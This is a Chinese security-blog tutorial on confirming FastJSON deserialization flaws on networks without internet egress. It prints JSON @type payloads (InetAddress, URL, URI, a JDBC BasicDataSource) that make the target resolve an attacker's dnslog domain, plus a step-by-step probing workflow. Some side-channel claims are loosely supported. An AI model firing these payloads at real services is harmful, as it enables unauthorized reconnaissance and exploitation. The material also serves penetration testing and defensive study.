DNS 一响,漏洞登场!FastJSON 不出网探测全攻略

admin 2025年4月23日21:57:21评论1 views字数 1710阅读5分42秒阅读模式

🧨 FastJSON “不出网验证” 全解析

 

从一次普通的 POST 请求,如何判断目标后端用了 FastJSON?还能不能打?是否开启了 AutoType?今天给你掰开揉碎讲清楚:如何在“目标无法访问公网”的条件下判断 FastJSON 是否存在可利用的反序列化漏洞


🎯 什么是“不出网验证”?

在企业内网或高安全环境中,很多服务并不能访问公网 HTTP 接口。 但你又想知道:

  • 🎯 是否使用了 FastJSON?
  • 🎯 是否未关闭 AutoType?
  • 🎯 是否有反序列化触发点?

于是,我们引入了“不出网验证”——不依赖 HTTP/RCE/回显,仅通过 DNS 或局部副作用判断漏洞是否存在

不出网的详细解释见文章《企业架构中最容易误解的概念:DMZ 不出网 ≠ 无法被访问》


🧪 一、利用 InetAddress 触发 DNS 请求

🚀 Payload

{
"@type""java.net.InetAddress",
"val""geekserver.top.dnslog.cn"
}

🧠 利用原理

  1. FastJSON 会反射加载 InetAddress 类;
  2. 调用 InetAddress.getByName(),尝试解析域名;
  3. 触发一次 DNS 请求 → 发送到你的 dnslog.cn
  4. 无需出网访问 HTTP,即可知道是否存在反序列化点。

✅ 特点

  • DNS 请求穿透能力强;
  • 只需一个 POST 请求,黑盒即可测试;
  • 绝大多数环境都能触发,成功率高。

🔍 二、利用 URL/URI 触发域名解析

🚀 Payload

{
"@type""java.net.URL",
"val""http://geekserver.top.dnslog.cn"
}

或:

{
"@type""java.net.URI",
"val""http://geekserver.top.dnslog.cn"
}

🧠 利用原理

这两种类在被实例化时,也可能触发域名解析或网络连接尝试(取决于后续是否使用它们),用于探测一些 懒加载网络类 的反序列化行为。

✅ 特点

  • 可能无法直接触发 DNS 请求,但可用于组合利用;
  • 在某些 Web 服务组件中效果更佳(如 URL 连接池、资源读取等)。

🎯 三、利用 Locale/TimeZone 等类

🚀 Payload

{
"@type""java.util.Locale",
"val""en_US"
}

或:

{
"@type""java.util.TimeZone",
"val""Asia/Shanghai"
}

🧠 利用原理

  • 这些类被实例化时会访问系统缓存或资源表;
  • 在某些框架下可能留下日志副作用、响应差异、内存行为变化
  • 可利用日志侧信道进一步识别。

✅ 特点

  • 无需 DNS/HTTP,适合日志侧信道探测;
  • 需配合白盒使用。

💣 四、内存探针类进行漏洞链判断

🚀 Payload

{
"@type""org.apache.commons.dbcp2.BasicDataSource",
"driverClassName""com.mysql.jdbc.Driver",
"url""jdbc:mysql://your-uuid.dnslog.cn/db"
}

🧠 原理说明:

  • 在某些 JDBC 类被反序列化后,会尝试发起数据库连接;
  • 可用于判断是否存在远程加载/初始化行为。

⚠️ 注意:

FastJSON 新版本中大部分“危险类”被加入黑名单或需要显式白名单,建议配合版本判断进行定向利用。


🔍 探测流程

步骤
行为
判断依据
① 构造 JSON Payload
使用 @type + DNS 字段
流量/响应
② 监听 DNS 请求
使用 dnslog.cn / ceye.io
有记录即可确认
③ 分析响应副作用
结合日志、内存 dump、异常信息
排查日志

🚨 快速判断技巧

请求响应特征
含义
响应非常快、无错误
服务可能没有反序列化逻辑
响应变慢 / 报错 AutoType is not supported
FastJSON 存在,但 AutoType 被禁用
DNS 请求成功 / 日志中有访问行为
服务解析了 JSON 并反射加载了类(漏洞存在!)

✅ 总结

利用方式
是否需要出网
成功率
InetAddress.getByName
❌ 不需要
⭐⭐⭐⭐⭐
URL/URI
❌ 一般不需要
⭐⭐⭐
Locale/TimeZone
❌ 不需要
⭐⭐
JdbcRowSetImpl

 等
✅(rmi/http)
⭐⭐⭐⭐

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日21:57:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNS 一响,漏洞登场!FastJSON 不出网探测全攻略https://cn-sec.com/archives/3991819.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息